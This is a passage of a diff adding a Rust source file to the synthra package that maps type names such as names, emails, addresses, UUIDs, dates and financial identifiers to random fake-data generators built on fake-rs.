synthra 0.1.0

data/ext/synthra_native/src/types.rs

@@ -0,0 +1,1485 @@
+//! Type generators using fake-rs
+//!
+//! Maps Synthra type names to fake-rs generators.
+
+use fake::faker::address::raw::*;
+use fake::faker::company::raw::*;
+use fake::faker::creditcard::raw::*;
+use fake::faker::currency::raw::*;
+use fake::faker::filesystem::raw::*;
+use fake::faker::finance::raw::*;
+use fake::faker::internet::raw::*;
+use fake::faker::job::raw::Title as JobTitle;
+use fake::faker::lorem::raw::*;
+use fake::faker::name::raw::*;
+use fake::faker::phone_number::raw::*;
+use fake::locales::*;
+use fake::rand::rngs::StdRng;
+use fake::rand::{Rng, SeedableRng};
+use fake::Fake;
+use serde_json::{json, Value};
+use uuid::Uuid;
+
+/// List of all supported type names
+pub static AVAILABLE_TYPES: &[&str] = &[
+    // Personal
+    "name", "first_name", "last_name", "full_name", "title",
+    // Internet
+    "email", "username", "password", "url", "ip", "ipv4", "ipv6",
+    "mac_address", "user_agent", "domain",
+    // Address
+    "city", "country", "country_code", "street", "street_address",
+    "postal_code", "zip_code", "latitude", "longitude", "state",
+    // Company
+    "company_name", "company", "catch_phrase", "buzzword", "industry",
+    // Text (string = alias for text, OpenAPI/contract compatibility)
+    "word", "words", "sentence", "sentences", "paragraph", "paragraphs", "text", "string",
+    // Phone
+    "phone", "phone_number", "cell_phone",
+    // Date/Time
+    "date", "time", "datetime", "timestamp", "past_date", "future_date",
+    // Identifiers
+    "uuid", "uuid_v4", "uuid_v1", "id_sequence", "ulid",
+    // Primitives
+    "number", "integer", "float", "boolean", "bool",
+    // Color
+    "hex_color", "rgb_color",
+    // Special
+    "enum", "const", "array",
+    // Bucket A: fake-rs direct
+    "job_title", "currency", "credit_card", "color", "short_hex_color",
+    "file_name", "mime_type", "bank_swift_bic", "fake_company_name", "slogan",
+    "street_name", "street_number", "street_suffix", "address", "address_line_2",
+    "timezone", "suffix", "top_level_domain", "now", "unix_timestamp_ms",
+    // Bucket B2: data lists
+    "airport_name", "airport_continent", "airport_country_code", "airport_region_code",
+    "airport_gps_code", "airport_municipality", "airport_elevation", "airport_latitude",
+    "airport_longitude", "bank_name", "bank_city", "bank_state", "bank_country_code",
+    "bank_street_address", "bank_routing_number", "bank_lei", "bank_riad_code",
+    "hospital_city", "hospital_state", "hospital_postal_code", "hospital_street_address",
+    "construction_trade", "construction_role", "construction_material",
+    "construction_heavy_equipment", "construction_subcontract_category",
+    "construction_standard_cost_code", "department_corporate", "department_retail",
+    "product_name", "product_category", "product_subcategory", "product_description",
+    "product_grocery", "product_price", "movie_title", "movie_genres",
+    "mobile_device_brand", "mobile_device_model", "mobile_device_os",
+    "mobile_device_release_date", "app_name", "app_bundle_id", "app_version",
+    "university", "language", "language_code", "race", "nato_phonetic", "linkedin_skill",
+    "credit_card_type", "scenario", "first_name_male", "first_name_female",
+    "first_name_european", "family_name_chinese", "given_name_chinese", "shirt_size",
+    "frequency", "gender", "gender_binary", "gender_abbrev", "gender_facebook",
+    "message_text", "hashtag_text", "social_handle", "slug",
+    // Bucket B1: format/hash/sequence
+    "age", "discount", "tax_rate", "money", "transaction_amount", "account_number",
+    "numeric_string_id", "digit_sequence", "character_sequence", "sequence", "row_number",
+    "ssn", "ein", "duns_number", "iban", "sku", "md5", "sha1", "sha256",
+    "mongodb_object_id", "snowflake_id", "password_hash", "encrypt", "ip_v4_cidr",
+    "ip_v6_cidr", "avatar", "base64_image_url", "dummy_image_url", "nhs_number",
+    "medicare_beneficiary_id", "naughty_string", "sql_expression", "regex",
+    "date_between", "json_array", "indices_pair", "repeating_element",
+];
+
+/// Locale enum matching fake-rs locales
+#[derive(Clone, Copy, Debug)]
+pub enum Locale {
+    EN,
+    FR,
+    DE,
+    ZH_CN,
+    ZH_TW,
+    JA,
+    PT_BR,
+    IT,
+    AR,
+}
+
+impl Locale {
+    pub fn from_string(s: &str) -> Self {
+        match s.to_lowercase().as_str() {
+            "fr" | "fr_fr" | "french" => Locale::FR,
+            "de" | "de_de" | "german" => Locale::DE,
+            "zh_cn" | "chinese" | "chinese_simplified" => Locale::ZH_CN,
+            "zh_tw" | "chinese_traditional" => Locale::ZH_TW,
+            "ja" | "ja_jp" | "japanese" => Locale::JA,
+            "pt_br" | "portuguese" | "brazilian" => Locale::PT_BR,
+            "it" | "it_it" | "italian" => Locale::IT,
+            "ar" | "ar_sa" | "arabic" => Locale::AR,
+            _ => Locale::EN,
+        }
+    }
+}
+
+/// Create an RNG from an optional seed
+pub fn create_rng(seed: Option<u64>) -> StdRng {
+    match seed {
+        Some(s) => StdRng::seed_from_u64(s),
+        None => {
+            // Generate random seed from system time
+            use std::time::{SystemTime, UNIX_EPOCH};
+            let seed = SystemTime::now()
+                .duration_since(UNIX_EPOCH)
+                .map(|d| d.as_nanos() as u64)
+                .unwrap_or(42);
+            StdRng::seed_from_u64(seed)
+        }
+    }
+}
+
+// Pre-generated name pools for ultra-fast generation
+static FIRST_NAMES: &[&str] = &[
+    "James", "Mary", "John", "Patricia", "Robert", "Jennifer", "Michael", "Linda",
+    "David", "Elizabeth", "William", "Barbara", "Richard", "Susan", "Joseph", "Jessica",
+    "Thomas", "Sarah", "Christopher", "Karen", "Charles", "Nancy", "Daniel", "Lisa",
+    "Matthew", "Betty", "Anthony", "Margaret", "Mark", "Sandra", "Donald", "Ashley",
+    "Steven", "Kimberly", "Paul", "Emily", "Andrew", "Donna", "Joshua", "Michelle",
+    "Kenneth", "Dorothy", "Kevin", "Carol", "Brian", "Amanda", "George", "Melissa",
+    "Edward", "Deborah", "Ronald", "Stephanie", "Timothy", "Rebecca", "Jason", "Sharon",
+    "Jeffrey", "Laura", "Ryan", "Cynthia", "Jacob", "Kathleen", "Gary", "Amy",
+];
+
+static LAST_NAMES: &[&str] = &[
+    "Smith", "Johnson", "Williams", "Brown", "Jones", "Garcia", "Miller", "Davis",
+    "Rodriguez", "Martinez", "Hernandez", "Lopez", "Gonzalez", "Wilson", "Anderson",
+    "Thomas", "Taylor", "Moore", "Jackson", "Martin", "Lee", "Perez", "Thompson",
+    "White", "Harris", "Sanchez", "Clark", "Ramirez", "Lewis", "Robinson", "Walker",
+    "Young", "Allen", "King", "Wright", "Scott", "Torres", "Nguyen", "Hill",
+    "Flores", "Green", "Adams", "Nelson", "Baker", "Hall", "Rivera", "Campbell",
+    "Mitchell", "Carter", "Roberts", "Gomez", "Phillips", "Evans", "Turner", "Diaz",
+    "Parker", "Cruz", "Edwards", "Collins", "Reyes", "Stewart", "Morris", "Morales",
+];
+
+static EMAIL_DOMAINS: &[&str] = &[
+    "gmail.com", "yahoo.com", "hotmail.com", "outlook.com", "icloud.com",
+    "mail.com", "protonmail.com", "aol.com", "zoho.com", "fastmail.com",
+];
+
+/// Generate a value for a given type using StdRng
+pub fn generate_value(
+    rng: &mut StdRng,
+    type_name: &str,
+    args: &Value,
+    locale: Locale,
+    index: usize,
+) -> Value {
+    match type_name {
+        // ========== Personal Names ==========
+        // Use fast mode for English, full fake-rs for other locales
+        "name" | "full_name" => match locale {
+            Locale::EN => generate_fast_name(rng),
+            _ => generate_name(rng, locale),
+        },
+        "first_name" => match locale {
+            Locale::EN => generate_fast_first_name(rng),
+            _ => generate_first_name(rng, locale),
+        },
+        "last_name" => match locale {
+            Locale::EN => generate_fast_last_name(rng),
+            _ => generate_last_name(rng, locale),
+        },
+        "title" => json!(Title(EN).fake_with_rng::<String, _>(rng)),
+
+        // ========== Internet ==========
+        // Use fast mode for English, full fake-rs for other locales
+        "email" => match locale {
+            Locale::EN => generate_fast_email(rng, index),
+            _ => generate_email(rng, index),
+        },
+        "username" => json!(Username(EN).fake_with_rng::<String, _>(rng)),
+        "password" => generate_password(rng, args),
+        "url" => generate_url(rng),
+        "ip" | "ipv4" => json!(IPv4(EN).fake_with_rng::<String, _>(rng)),
+        "ipv6" => json!(IPv6(EN).fake_with_rng::<String, _>(rng)),
+        "mac_address" => json!(MACAddress(EN).fake_with_rng::<String, _>(rng)),
+        "user_agent" => json!(UserAgent(EN).fake_with_rng::<String, _>(rng)),
+        "domain" => json!(DomainSuffix(EN).fake_with_rng::<String, _>(rng)),
+
+        // ========== Address ==========
+        "city" => generate_city(rng, locale),
+        "country" => json!(CountryName(EN).fake_with_rng::<String, _>(rng)),
+        "country_code" => json!(CountryCode(EN).fake_with_rng::<String, _>(rng)),
+        "street" | "street_address" => generate_street(rng, locale),
+        "postal_code" | "zip_code" => json!(ZipCode(EN).fake_with_rng::<String, _>(rng)),
+        "latitude" => {
+            let lat: f64 = Latitude(EN).fake_with_rng(rng);
+            json!(lat)
+        }
+        "longitude" => {
+            let lng: f64 = Longitude(EN).fake_with_rng(rng);
+            json!(lng)
+        }
+        "state" => json!(StateName(EN).fake_with_rng::<String, _>(rng)),
+
+        // ========== Company ==========
+        "company" | "company_name" => json!(CompanyName(EN).fake_with_rng::<String, _>(rng)),
+        "catch_phrase" => json!(CatchPhrase(EN).fake_with_rng::<String, _>(rng)),
+        "buzzword" => json!(Buzzword(EN).fake_with_rng::<String, _>(rng)),
+        "industry" => json!(Industry(EN).fake_with_rng::<String, _>(rng)),
+
+        // ========== Text ==========
+        "word" => json!(Word(EN).fake_with_rng::<String, _>(rng)),
+        "words" => generate_words(rng, args),
+        "sentence" => generate_sentence(rng, args),
+        "sentences" => generate_sentences(rng, args),
+        "paragraph" => generate_paragraph(rng, args),
+        "paragraphs" => generate_paragraphs(rng, args),
+        "text" | "string" => generate_text(rng, args),
+
+        // ========== Phone ==========
+        "phone" | "phone_number" => json!(PhoneNumber(EN).fake_with_rng::<String, _>(rng)),
+        "cell_phone" => json!(CellNumber(EN).fake_with_rng::<String, _>(rng)),
+
+        // ========== Date/Time ==========
+        "date" => generate_date(rng),
+        "time" => generate_time(rng),
+        "datetime" | "timestamp" => generate_datetime(rng),
+        "past_date" => generate_past_date(rng),
+        "future_date" => generate_future_date(rng),
+
+        // ========== Identifiers ==========
+        "uuid" | "uuid_v4" => generate_fast_uuid(rng),
+        "uuid_v1" => generate_uuid_v1(index),
+        "id_sequence" => generate_id_sequence(args, index),
+        "ulid" => generate_ulid(rng),
+
+        // ========== Primitives ==========
+        "number" | "integer" => generate_number(rng, args),
+        "float" => generate_float(rng, args),
+        "boolean" | "bool" => generate_boolean(rng, args),
+
+        // ========== Color ==========
+        "hex_color" => generate_hex_color(rng),
+        "rgb_color" => generate_rgb_color(rng),
+
+        // ========== Special Types ==========
+        "enum" => generate_enum(rng, args),
+        "const" => args.get("value").cloned().unwrap_or(Value::Null),
+        "array" => generate_array(rng, args, locale, index),
+
+        // ========== Bucket A: fake-rs direct ==========
+        "job_title" => json!(JobTitle(EN).fake_with_rng::<String, _>(rng)),
+        "currency" => json!(CurrencyCode(EN).fake_with_rng::<String, _>(rng)),
+        "credit_card" => json!(CreditCardNumber(EN).fake_with_rng::<String, _>(rng)),
+        "color" => json!(generate_color_name(rng)),
+        "short_hex_color" => generate_short_hex_color(rng),
+        "file_name" => json!(FileName(EN).fake_with_rng::<String, _>(rng)),
+        "mime_type" => json!(MimeType(EN).fake_with_rng::<String, _>(rng)),
+        "bank_swift_bic" => json!(Bic(EN).fake_with_rng::<String, _>(rng)),
+        "fake_company_name" => json!(CompanyName(EN).fake_with_rng::<String, _>(rng)),
+        "slogan" => json!(CatchPhrase(EN).fake_with_rng::<String, _>(rng)),
+        "street_name" => json!(StreetName(EN).fake_with_rng::<String, _>(rng)),
+        "street_number" => json!(BuildingNumber(EN).fake_with_rng::<String, _>(rng)),
+        "street_suffix" => json!(StreetSuffix(EN).fake_with_rng::<String, _>(rng)),
+        "address" => generate_address(rng),
+        "address_line_2" => json!(SecondaryAddress(EN).fake_with_rng::<String, _>(rng)),
+        "timezone" => json!(TimeZone(EN).fake_with_rng::<String, _>(rng)),
+        "suffix" => json!(Suffix(EN).fake_with_rng::<String, _>(rng)),
+        "top_level_domain" => json!(DomainSuffix(EN).fake_with_rng::<String, _>(rng)),
+        "now" => generate_now(),
+        "unix_timestamp_ms" => generate_unix_timestamp_ms(rng),
+
+        // ========== Bucket B2: hardcoded representative lists ==========
+        "airport_name" => pick(rng, AIRPORT_NAMES),
+        "airport_continent" => pick(rng, AIRPORT_CONTINENTS),
+        "airport_country_code" => pick(rng, COUNTRY_CODES2),
+        "airport_region_code" => json!(format!("{}-{}", pick_str(rng, COUNTRY_CODES2), pick_str(rng, US_STATE_ABBR))),
+        "airport_gps_code" => generate_gps_code(rng),
+        "airport_municipality" => pick(rng, US_CITIES),
+        "airport_elevation" => json!(rng.random_range(-200i64..14000)),
+        "airport_latitude" => json!((rng.random_range(-90.0..90.0_f64) * 1e6).round() / 1e6),
+        "airport_longitude" => json!((rng.random_range(-180.0..180.0_f64) * 1e6).round() / 1e6),
+        "bank_name" => pick(rng, BANK_NAMES),
+        "bank_city" => pick(rng, US_CITIES),
+        "bank_state" => pick(rng, US_STATE_ABBR),
+        "bank_country_code" => pick(rng, COUNTRY_CODES2),
+        "bank_street_address" => generate_address(rng),
+        "bank_routing_number" => generate_digits(rng, 9),
+        "bank_lei" => generate_lei(rng),
+        "bank_riad_code" => json!(format!("{}{}", pick_str(rng, COUNTRY_CODES2), generate_digit_string(rng, 10))),
+        "hospital_city" => pick(rng, US_CITIES),
+        "hospital_state" => pick(rng, US_STATE_ABBR),
+        "hospital_postal_code" => generate_digits(rng, 5),
+        "hospital_street_address" => generate_address(rng),
+        "construction_trade" => pick(rng, CONSTRUCTION_TRADES),
+        "construction_role" => pick(rng, CONSTRUCTION_ROLES),
+        "construction_material" => pick(rng, CONSTRUCTION_MATERIALS),
+        "construction_heavy_equipment" => pick(rng, CONSTRUCTION_EQUIPMENT),
+        "construction_subcontract_category" => pick(rng, CONSTRUCTION_SUBCONTRACT),
+        "construction_standard_cost_code" => json!(format!("{:02}-{:04}", rng.random_range(1..34), rng.random_range(0..10000))),
+        "department_corporate" => pick(rng, DEPARTMENT_CORPORATE),
+        "department_retail" => pick(rng, DEPARTMENT_RETAIL),
+        "product_name" => pick(rng, PRODUCT_NAMES),
+        "product_category" => pick(rng, PRODUCT_CATEGORIES),
+        "product_subcategory" => pick(rng, PRODUCT_SUBCATEGORIES),
+        "product_description" => json!(Sentence(EN, 8..16).fake_with_rng::<String, _>(rng)),
+        "product_grocery" => pick(rng, PRODUCT_GROCERY),
+        "product_price" => json!((rng.random_range(1.0..1000.0_f64) * 100.0).round() / 100.0),
+        "movie_title" => pick(rng, MOVIE_TITLES),
+        "movie_genres" => pick(rng, MOVIE_GENRES),
+        "mobile_device_brand" => pick(rng, MOBILE_BRANDS),
+        "mobile_device_model" => pick(rng, MOBILE_MODELS),
+        "mobile_device_os" => pick(rng, MOBILE_OS),
+        "mobile_device_release_date" => generate_past_date(rng),
+        "app_name" => pick(rng, APP_NAMES),
+        "app_bundle_id" => generate_bundle_id(rng),
+        "app_version" => json!(format!("{}.{}.{}", rng.random_range(0..10), rng.random_range(0..20), rng.random_range(0..50))),
+        "university" => pick(rng, UNIVERSITIES),
+        "language" => pick(rng, LANGUAGES),
+        "language_code" => pick(rng, LANGUAGE_CODES),
+        "race" => pick(rng, RACES),
+        "nato_phonetic" => pick(rng, NATO_PHONETIC),
+        "linkedin_skill" => pick(rng, LINKEDIN_SKILLS),
+        "credit_card_type" => pick(rng, CREDIT_CARD_TYPES),
+        "scenario" => pick(rng, SCENARIOS),
+        "first_name_male" => pick(rng, FIRST_NAMES_MALE),
+        "first_name_female" => pick(rng, FIRST_NAMES_FEMALE),
+        "first_name_european" => pick(rng, FIRST_NAMES_EUROPEAN),
+        "family_name_chinese" => pick(rng, CHINESE_FAMILY_NAMES),
+        "given_name_chinese" => pick(rng, CHINESE_GIVEN_NAMES),
+        "shirt_size" => pick(rng, SHIRT_SIZES),
+        "frequency" => pick(rng, FREQUENCIES),
+        "gender" => pick(rng, GENDERS),
+        "gender_binary" => pick(rng, GENDERS_BINARY),
+        "gender_abbrev" => pick(rng, GENDER_ABBREV),
+        "gender_facebook" => pick(rng, GENDERS_FACEBOOK),
+        "message_text" => json!(Sentence(EN, 5..14).fake_with_rng::<String, _>(rng)),
+        "hashtag_text" => generate_hashtag(rng),
+        "social_handle" => generate_social_handle(rng),
+        "slug" => generate_slug(rng),
+
+        // ========== Bucket B1: format/hash/sequence ==========
+        "age" => json!(rng.random_range(18i64..90)),
+        "discount" => json!((rng.random_range(0.0..0.75_f64) * 100.0).round() / 100.0),
+        "tax_rate" => json!((rng.random_range(0.0..0.25_f64) * 10000.0).round() / 10000.0),
+        "money" => json!((rng.random_range(0.0..10000.0_f64) * 100.0).round() / 100.0),
+        "transaction_amount" => json!((rng.random_range(1.0..5000.0_f64) * 100.0).round() / 100.0),
+        "account_number" => generate_digits(rng, 12),
+        "numeric_string_id" => generate_digit_string_range(rng, 9, 19),
+        "digit_sequence" => generate_digit_sequence(args, index),
+        "character_sequence" => generate_character_sequence(args, index),
+        "sequence" => generate_sequence(args, index),
+        "row_number" => json!(index as u64 + 1),
+        "ssn" => generate_ssn(rng),
+        "ein" => generate_ein(rng),
+        "duns_number" => generate_digits(rng, 9),
+        "iban" => generate_iban(rng),
+        "sku" => generate_sku(rng),
+        "md5" => generate_hex_hash(rng, 32),
+        "sha1" => generate_hex_hash(rng, 40),
+        "sha256" => generate_hex_hash(rng, 64),
+        "mongodb_object_id" => generate_hex_hash(rng, 24),
+        "snowflake_id" => generate_snowflake_id(rng),
+        "password_hash" => json!(format!("$2b$12${}", generate_b64ish(rng, 53))),
+        "encrypt" => json!(format!("enc:{}", generate_b64ish(rng, 32))),
+        "ip_v4_cidr" => generate_ipv4_cidr(rng),
+        "ip_v6_cidr" => generate_ipv6_cidr(rng),
+        "avatar" => generate_avatar(rng),
+        "base64_image_url" => generate_base64_image_url(),
+        "dummy_image_url" => generate_dummy_image_url(rng),
+        "nhs_number" => generate_digits(rng, 10),
+        "medicare_beneficiary_id" => generate_mbi(rng),
+        "naughty_string" => pick(rng, NAUGHTY_STRINGS),
+        "sql_expression" => pick(rng, SQL_EXPRESSIONS),
+        "regex" => generate_regex(rng, args),
+        "date_between" => generate_date_between(rng, args),
+        "json_array" => generate_json_array(rng, args, locale, index),
+        "indices_pair" => generate_indices_pair(rng),
+        "repeating_element" => generate_repeating_element(rng, args, locale, index),
+
+        // Unknown type
+        _ => Value::Null,
+    }
+}
+
+// ============================================================================
+// Helper functions for each type
+// ============================================================================
+
+// ========== Fast Generation Functions ==========
+// These use pre-generated pools for maximum speed
+
+/// Fast name generation using pre-generated pools (English only)
+fn generate_fast_name(rng: &mut StdRng) -> Value {
+    let first_idx = rng.random_range(0..FIRST_NAMES.len());
+    let last_idx = rng.random_range(0..LAST_NAMES.len());
+    Value::String(format!("{} {}", FIRST_NAMES[first_idx], LAST_NAMES[last_idx]))
+}
+
+/// Fast first name generation
+fn generate_fast_first_name(rng: &mut StdRng) -> Value {
+    let idx = rng.random_range(0..FIRST_NAMES.len());
+    Value::String(FIRST_NAMES[idx].to_string())
+}
+
+/// Fast last name generation
+fn generate_fast_last_name(rng: &mut StdRng) -> Value {
+    let idx = rng.random_range(0..LAST_NAMES.len());
+    Value::String(LAST_NAMES[idx].to_string())
+}
+
+/// Fast email generation
+fn generate_fast_email(rng: &mut StdRng, index: usize) -> Value {
+    let first_idx = rng.random_range(0..FIRST_NAMES.len());
+    let domain_idx = rng.random_range(0..EMAIL_DOMAINS.len());
+    Value::String(format!(
+        "{}.{}@{}",
+        FIRST_NAMES[first_idx].to_lowercase(),
+        index,
+        EMAIL_DOMAINS[domain_idx]
+    ))
+}
+
+// ========== Full fake-rs Generation Functions (used for non-English locales) ==========
+
+fn generate_name(rng: &mut StdRng, locale: Locale) -> Value {
+    let name: String = match locale {
+        Locale::EN => Name(EN).fake_with_rng(rng),
+        Locale::FR => Name(FR_FR).fake_with_rng(rng),
+        Locale::DE => Name(DE_DE).fake_with_rng(rng),
+        Locale::ZH_CN => Name(ZH_CN).fake_with_rng(rng),
+        Locale::ZH_TW => Name(ZH_TW).fake_with_rng(rng),
+        Locale::JA => Name(JA_JP).fake_with_rng(rng),
+        Locale::PT_BR => Name(PT_BR).fake_with_rng(rng),
+        Locale::IT => Name(IT_IT).fake_with_rng(rng),
+        Locale::AR => Name(AR_SA).fake_with_rng(rng),
+    };
+    json!(name)
+}
+
+fn generate_first_name(rng: &mut StdRng, locale: Locale) -> Value {
+    let name: String = match locale {
+        Locale::EN => FirstName(EN).fake_with_rng(rng),
+        Locale::FR => FirstName(FR_FR).fake_with_rng(rng),
+        Locale::DE => FirstName(DE_DE).fake_with_rng(rng),
+        Locale::ZH_CN => FirstName(ZH_CN).fake_with_rng(rng),
+        Locale::ZH_TW => FirstName(ZH_TW).fake_with_rng(rng),
+        Locale::JA => FirstName(JA_JP).fake_with_rng(rng),
+        _ => FirstName(EN).fake_with_rng(rng),
+    };
+    json!(name)
+}
+
+fn generate_last_name(rng: &mut StdRng, locale: Locale) -> Value {
+    let name: String = match locale {
+        Locale::EN => LastName(EN).fake_with_rng(rng),
+        Locale::FR => LastName(FR_FR).fake_with_rng(rng),
+        Locale::DE => LastName(DE_DE).fake_with_rng(rng),
+        Locale::ZH_CN => LastName(ZH_CN).fake_with_rng(rng),
+        Locale::ZH_TW => LastName(ZH_TW).fake_with_rng(rng),
+        Locale::JA => LastName(JA_JP).fake_with_rng(rng),
+        _ => LastName(EN).fake_with_rng(rng),
+    };
+    json!(name)
+}
+
+fn generate_email(rng: &mut StdRng, index: usize) -> Value {
+    let base: String = FreeEmail(EN).fake_with_rng(rng);
+    // Make email unique by adding index
+    let parts: Vec<&str> = base.splitn(2, '@').collect();
+    if parts.len() == 2 {
+        json!(format!("{}{}@{}", parts[0], index, parts[1]))
+    } else {
+        json!(base)
+    }
+}
+
+fn generate_password(rng: &mut StdRng, args: &Value) -> Value {
+    let min = args.get("min").and_then(|v| v.as_u64()).unwrap_or(8) as usize;
+    let max = args.get("max").and_then(|v| v.as_u64()).unwrap_or(20) as usize;
+    json!(Password(EN, min..max).fake_with_rng::<String, _>(rng))
+}
+
+fn generate_url(rng: &mut StdRng) -> Value {
+    let domain: String = DomainSuffix(EN).fake_with_rng(rng);
+    let word: String = Word(EN).fake_with_rng(rng);
+    json!(format!("https://www.{}.{}", word.to_lowercase(), domain))
+}
+
+fn generate_city(rng: &mut StdRng, locale: Locale) -> Value {
+    let city: String = match locale {
+        Locale::EN => CityName(EN).fake_with_rng(rng),
+        Locale::FR => CityName(FR_FR).fake_with_rng(rng),
+        Locale::DE => CityName(DE_DE).fake_with_rng(rng),
+        _ => CityName(EN).fake_with_rng(rng),
+    };
+    json!(city)
+}
+
+fn generate_street(rng: &mut StdRng, locale: Locale) -> Value {
+    let street: String = match locale {
+        Locale::EN => StreetName(EN).fake_with_rng(rng),
+        Locale::FR => StreetName(FR_FR).fake_with_rng(rng),
+        _ => StreetName(EN).fake_with_rng(rng),
+    };
+    json!(street)
+}
+
+fn generate_words(rng: &mut StdRng, args: &Value) -> Value {
+    let count = args.get("count").and_then(|v| v.as_u64()).unwrap_or(5) as usize;
+    let words: Vec<String> = Words(EN, count..count + 1).fake_with_rng(rng);
+    json!(words.join(" "))
+}
+
+fn generate_sentence(rng: &mut StdRng, args: &Value) -> Value {
+    let words = args.get("words").and_then(|v| v.as_u64()).unwrap_or(10) as usize;
+    json!(Sentence(EN, words..words + 5).fake_with_rng::<String, _>(rng))
+}
+
+fn generate_sentences(rng: &mut StdRng, args: &Value) -> Value {
+    let count = args.get("count").and_then(|v| v.as_u64()).unwrap_or(3) as usize;
+    let sentences: Vec<String> = Sentences(EN, count..count + 2).fake_with_rng(rng);
+    json!(sentences.join(" "))
+}
+
+fn generate_paragraph(rng: &mut StdRng, args: &Value) -> Value {
+    let sentences = args
+        .get("sentences")
+        .and_then(|v| v.as_u64())
+        .unwrap_or(5) as usize;
+    json!(Paragraph(EN, sentences..sentences + 3).fake_with_rng::<String, _>(rng))
+}
+
+fn generate_paragraphs(rng: &mut StdRng, args: &Value) -> Value {
+    let count = args.get("count").and_then(|v| v.as_u64()).unwrap_or(3) as usize;
+    let paragraphs: Vec<String> = Paragraphs(EN, count..count + 2).fake_with_rng(rng);
+    json!(paragraphs.join("\n\n"))
+}
+
+fn generate_text(rng: &mut StdRng, args: &Value) -> Value {
+    // Readable sentence/words instead of random character string
+    let words = args
+        .get("words")
+        .and_then(|v| v.as_u64())
+        .unwrap_or_else(|| rng.random_range(4..=12)) as usize;
+    json!(Sentence(EN, words..words + 3).fake_with_rng::<String, _>(rng))
+}
+
+fn generate_date(rng: &mut StdRng) -> Value {
+    let days_ago = rng.random_range(0i64..365);
+    let date = chrono::Utc::now() - chrono::Duration::days(days_ago);
+    json!(date.format("%Y-%m-%d").to_string())
+}
+
+fn generate_time(rng: &mut StdRng) -> Value {
+    let hour = rng.random_range(0..24);
+    let minute = rng.random_range(0..60);
+    let second = rng.random_range(0..60);
+    json!(format!("{:02}:{:02}:{:02}", hour, minute, second))
+}
+
+fn generate_datetime(rng: &mut StdRng) -> Value {
+    let days_ago = rng.random_range(0i64..365);
+    let dt = chrono::Utc::now() - chrono::Duration::days(days_ago);
+    json!(dt.to_rfc3339())
+}
+
+fn generate_past_date(rng: &mut StdRng) -> Value {
+    let days_ago = rng.random_range(1i64..3650);
+    let date = chrono::Utc::now() - chrono::Duration::days(days_ago);
+    json!(date.format("%Y-%m-%d").to_string())
+}
+
+fn generate_future_date(rng: &mut StdRng) -> Value {
+    let days_ahead = rng.random_range(1i64..365);
+    let date = chrono::Utc::now() + chrono::Duration::days(days_ahead);
+    json!(date.format("%Y-%m-%d").to_string())
+}
+
+/// Generate a fast UUID v4 using the provided RNG instead of crypto-random
+/// Much faster than Uuid::new_v4() which uses OsRng
+fn generate_fast_uuid(rng: &mut StdRng) -> Value {
+    let bytes: [u8; 16] = rng.random();
+    // Set version 4 and variant bits according to RFC 4122
+    let uuid = Uuid::from_bytes([
+        bytes[0], bytes[1], bytes[2], bytes[3],
+        bytes[4], bytes[5],
+        (bytes[6] & 0x0f) | 0x40,  // version 4
+        (bytes[8] & 0x3f) | 0x80,  // variant 1
+        bytes[9], bytes[10], bytes[11], bytes[12],
+        bytes[13], bytes[14], bytes[15], bytes[7],
+    ]);
+    Value::String(uuid.to_string())
+}
+
+fn generate_uuid_v1(index: usize) -> Value {
+    // Sequential UUID-like format
+    json!(format!(
+        "{:08x}-{:04x}-1000-8000-{:012x}",
+        (index >> 32) as u32,
+        (index >> 16) as u16,
+        index as u64
+    ))
+}
+
+fn generate_id_sequence(args: &Value, index: usize) -> Value {
+    let start = args.get("start").and_then(|v| v.as_u64()).unwrap_or(1);
+    json!(start + index as u64)
+}
+
+fn generate_ulid(rng: &mut StdRng) -> Value {
+    // Generate ULID-like string (timestamp + random)
+    let timestamp = chrono::Utc::now().timestamp_millis() as u64;
+    let random: u64 = rng.random();
+    json!(format!(
+        "{:010X}{:016X}",
+        timestamp & 0xFFFFFFFFFF,
+        random
+    ))
+}
+
+fn generate_number(rng: &mut StdRng, args: &Value) -> Value {
+    let mut min = args.get("min").and_then(|v| v.as_i64()).unwrap_or(0);
+    let mut max = args.get("max").and_then(|v| v.as_i64()).unwrap_or(100);
+    if min > max {
+        std::mem::swap(&mut min, &mut max); // reversed DSL range must not panic random_range
+    }
+    json!(rng.random_range(min..=max))
+}
+
+fn generate_float(rng: &mut StdRng, args: &Value) -> Value {
+    let mut min = args.get("min").and_then(|v| v.as_f64()).unwrap_or(0.0);
+    let mut max = args.get("max").and_then(|v| v.as_f64()).unwrap_or(100.0);
+    if min > max {
+        std::mem::swap(&mut min, &mut max); // reversed DSL range must not panic random_range
+    }
+    let precision = args
+        .get("precision")
+        .and_then(|v| v.as_u64())
+        .unwrap_or(2) as i32;
+    let val = rng.random_range(min..=max);
+    let multiplier = 10_f64.powi(precision);
+    json!((val * multiplier).round() / multiplier)
+}
+
+fn generate_boolean(rng: &mut StdRng, args: &Value) -> Value {
+    let mut prob = args
+        .get("probability")
+        .or_else(|| args.get("true_probability"))
+        .and_then(|v| v.as_f64())
+        .unwrap_or(0.5);
+    // The DSL carries boolean weights as percentages (`true:85%` parses to 85), matching the
+    // Ruby engine's 0-100 contract. Treat >1.0 as a percent and clamp so a malformed weight
+    // can never reach random_bool's [0.0, 1.0] panic.
+    if prob > 1.0 {
+        prob /= 100.0;
+    }
+    let prob = prob.clamp(0.0, 1.0);
+    json!(rng.random_bool(prob))
+}
+
+fn generate_hex_color(rng: &mut StdRng) -> Value {
+    let r: u8 = rng.random();
+    let g: u8 = rng.random();
+    let b: u8 = rng.random();
+    json!(format!("#{:02X}{:02X}{:02X}", r, g, b))
+}
+
+fn generate_rgb_color(rng: &mut StdRng) -> Value {
+    let r: u8 = rng.random();
+    let g: u8 = rng.random();
+    let b: u8 = rng.random();
+    json!(format!("rgb({}, {}, {})", r, g, b))
+}
+
+fn generate_enum(rng: &mut StdRng, args: &Value) -> Value {
+    if let Some(values) = args.get("values").and_then(|v| v.as_array()) {
+        if !values.is_empty() {
+            let idx = rng.random_range(0..values.len());
+            return values[idx].clone();
+        }
+    }
+    Value::Null
+}
+
+fn generate_array(rng: &mut StdRng, args: &Value, locale: Locale, index: usize) -> Value {
+    let item_type = args
+        .get("type")
+        .and_then(|v| v.as_str())
+        .unwrap_or("word");
+    let min = args.get("min").and_then(|v| v.as_u64()).unwrap_or(1) as usize;
+    let max = args.get("max").and_then(|v| v.as_u64()).unwrap_or(5) as usize;
+    let count = rng.random_range(min..=max);
+
+    let items: Vec<Value> = (0..count)
+        .map(|i| generate_value(rng, item_type, &json!({}), locale, index + i))
+        .collect();
+    json!(items)
+}
+
+// ============================================================================
+// Bucket A helpers
+// ============================================================================
+
